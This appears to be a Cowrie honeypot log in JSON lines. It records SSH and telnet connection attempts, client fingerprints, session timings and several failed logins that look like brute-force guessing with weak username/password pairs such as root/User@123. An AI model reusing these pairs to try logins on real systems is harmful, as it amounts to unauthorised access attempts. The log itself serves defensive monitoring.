{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47318,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf0703d1b7c0","protocol":"telnet","message":"New connection: 152.42.224.71:47318 (10.17.0.5:23) [session: bf0703d1b7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:57.624907Z"}
{"eventid":"cowrie.session.closed","duration":49.07999873161316,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:58.826772Z","src_ip":"152.42.224.71","session":"6e1e2ed89e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47322,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0e439cb9ae","protocol":"telnet","message":"New connection: 152.42.224.71:47322 (10.17.0.5:23) [session: cf0e439cb9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:04.170732Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":39976,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ec587c3e390","protocol":"ssh","message":"New connection: 43.173.85.181:39976 (10.17.0.5:22) [session: 4ec587c3e390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:04.269383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:04.275166Z","src_ip":"43.173.85.181","session":"4ec587c3e390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:04.343990Z","src_ip":"43.173.85.181","session":"4ec587c3e390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arvind","password":"arvind","message":"login attempt [arvind/arvind] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:04.652587Z","src_ip":"43.173.85.181","session":"4ec587c3e390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:05.725840Z","src_ip":"43.173.85.181","session":"4ec587c3e390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5687415599823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:08.235159Z","src_ip":"221.159.114.178","session":"1e19e445fc61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35670,"dst_ip":"10.17.0.5","dst_port":23,"session":"f79892972b97","protocol":"telnet","message":"New connection: 152.42.224.71:35670 (10.17.0.5:23) [session: f79892972b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:08.682609Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35674,"dst_ip":"10.17.0.5","dst_port":23,"session":"c279f40d1578","protocol":"telnet","message":"New connection: 152.42.224.71:35674 (10.17.0.5:23) [session: c279f40d1578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:08.838649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:13.084665Z","src_ip":"47.237.167.49","session":"828b2b93a5e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:13.312234Z","src_ip":"47.237.167.49","session":"828b2b93a5e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35686,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d6bc79483b2","protocol":"telnet","message":"New connection: 152.42.224.71:35686 (10.17.0.5:23) [session: 5d6bc79483b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:14.881439Z"}
{"eventid":"cowrie.session.closed","duration":98.81147313117981,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:15.797886Z","src_ip":"152.42.224.71","session":"2e87399d04b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.24974250793457,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:16.088282Z","src_ip":"152.42.224.71","session":"c279f40d1578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.56869888305664,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:19.193493Z","src_ip":"152.42.224.71","session":"bf0703d1b7c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36002,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73e05fbe007","protocol":"telnet","message":"New connection: 152.42.224.71:36002 (10.17.0.5:23) [session: f73e05fbe007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:19.723689Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36006,"dst_ip":"10.17.0.5","dst_port":23,"session":"683c20235f57","protocol":"telnet","message":"New connection: 152.42.224.71:36006 (10.17.0.5:23) [session: 683c20235f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:20.123387Z"}
{"eventid":"cowrie.session.closed","duration":34.03421926498413,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:20.260121Z","src_ip":"152.42.224.71","session":"8f81b31f74b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.45702934265137,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:20.938639Z","src_ip":"152.42.224.71","session":"00cd2c4011ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0047652721405,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:24.430264Z","src_ip":"152.42.224.71","session":"e524bdc2f2c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.611358404159546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:29.412811Z","src_ip":"152.42.224.71","session":"0c0346870caa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.07602047920227,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:38.363546Z","src_ip":"152.42.224.71","session":"4c031317d689","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:39.283307Z","src_ip":"47.237.167.49","session":"828b2b93a5e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"64.8","message":"Connection lost after 64.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:40.675706Z","src_ip":"47.237.167.49","session":"828b2b93a5e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.61001467704773,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:42.780603Z","src_ip":"152.42.224.71","session":"cf0e439cb9ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51610,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc679ce9b2d","protocol":"telnet","message":"New connection: 152.42.224.71:51610 (10.17.0.5:23) [session: acc679ce9b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:46.648214Z"}
{"eventid":"cowrie.session.closed","duration":120.0022189617157,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:54.874219Z","src_ip":"152.42.224.71","session":"ae09e29794f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.084086656570435,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:56.965417Z","src_ip":"152.42.224.71","session":"5d6bc79483b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":45426,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ca2ca5aba9","protocol":"ssh","message":"New connection: 167.86.95.8:45426 (10.17.0.5:22) [session: 78ca2ca5aba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:57.880901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:57.889196Z","src_ip":"167.86.95.8","session":"78ca2ca5aba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:57.982393Z","src_ip":"167.86.95.8","session":"78ca2ca5aba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pzserver","password":"pzserver","message":"login attempt [pzserver/pzserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:58.429575Z","src_ip":"167.86.95.8","session":"78ca2ca5aba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:55:59.528385Z","src_ip":"167.86.95.8","session":"78ca2ca5aba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00254106521606,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:00.992632Z","src_ip":"152.42.224.71","session":"8282f528c1a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00159287452698,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:01.702721Z","src_ip":"152.42.224.71","session":"cb44ffb2fe3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.63905453681946,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:04.662408Z","src_ip":"152.42.224.71","session":"770a93a8d988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":54914,"dst_ip":"10.17.0.5","dst_port":22,"session":"f882a879c735","protocol":"ssh","message":"New connection: 62.133.63.178:54914 (10.17.0.5:22) [session: f882a879c735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:06.350425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:06.354772Z","src_ip":"62.133.63.178","session":"f882a879c735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:06.479981Z","src_ip":"62.133.63.178","session":"f882a879c735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d7c68fe103","protocol":"telnet","message":"New connection: 152.42.224.71:50320 (10.17.0.5:23) [session: f0d7c68fe103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:06.764058Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"132465798","message":"login attempt [root/132465798] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:06.859565Z","src_ip":"62.133.63.178","session":"f882a879c735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:07.989305Z","src_ip":"62.133.63.178","session":"f882a879c735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.082913875579834,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:12.806466Z","src_ip":"152.42.224.71","session":"f73e05fbe007","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37208,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7e79f40638c","protocol":"telnet","message":"New connection: 152.42.224.71:37208 (10.17.0.5:23) [session: a7e79f40638c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:19.458969Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":51852,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c4330ea1c1","protocol":"ssh","message":"New connection: 43.173.85.181:51852 (10.17.0.5:22) [session: c6c4330ea1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:28.178344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:28.182693Z","src_ip":"43.173.85.181","session":"c6c4330ea1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:28.250415Z","src_ip":"43.173.85.181","session":"c6c4330ea1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User@123","message":"login attempt [root/User@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:28.554561Z","src_ip":"43.173.85.181","session":"c6c4330ea1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:29.625239Z","src_ip":"43.173.85.181","session":"c6c4330ea1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43206,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cef104e4c87","protocol":"telnet","message":"New connection: 152.42.224.71:43206 (10.17.0.5:23) [session: 4cef104e4c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:31.169561Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43220,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2cd94c4d01b","protocol":"telnet","message":"New connection: 152.42.224.71:43220 (10.17.0.5:23) [session: a2cd94c4d01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:33.041801Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43236,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb35194d5534","protocol":"telnet","message":"New connection: 152.42.224.71:43236 (10.17.0.5:23) [session: cb35194d5534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:36.305858Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40990,"dst_ip":"10.17.0.5","dst_port":23,"session":"06829822899b","protocol":"telnet","message":"New connection: 152.42.224.71:40990 (10.17.0.5:23) [session: 06829822899b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:38.840479Z"}
{"eventid":"cowrie.session.closed","duration":114.37547183036804,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:39.394311Z","src_ip":"152.42.224.71","session":"4c50e3be1b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.580092430114746,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:45.344018Z","src_ip":"152.42.224.71","session":"f0d7c68fe103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41002,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae5263678a74","protocol":"telnet","message":"New connection: 152.42.224.71:41002 (10.17.0.5:23) [session: ae5263678a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:45.428117Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50252,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bf5c0c14006","protocol":"telnet","message":"New connection: 152.42.224.71:50252 (10.17.0.5:23) [session: 8bf5c0c14006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:46.670469Z"}
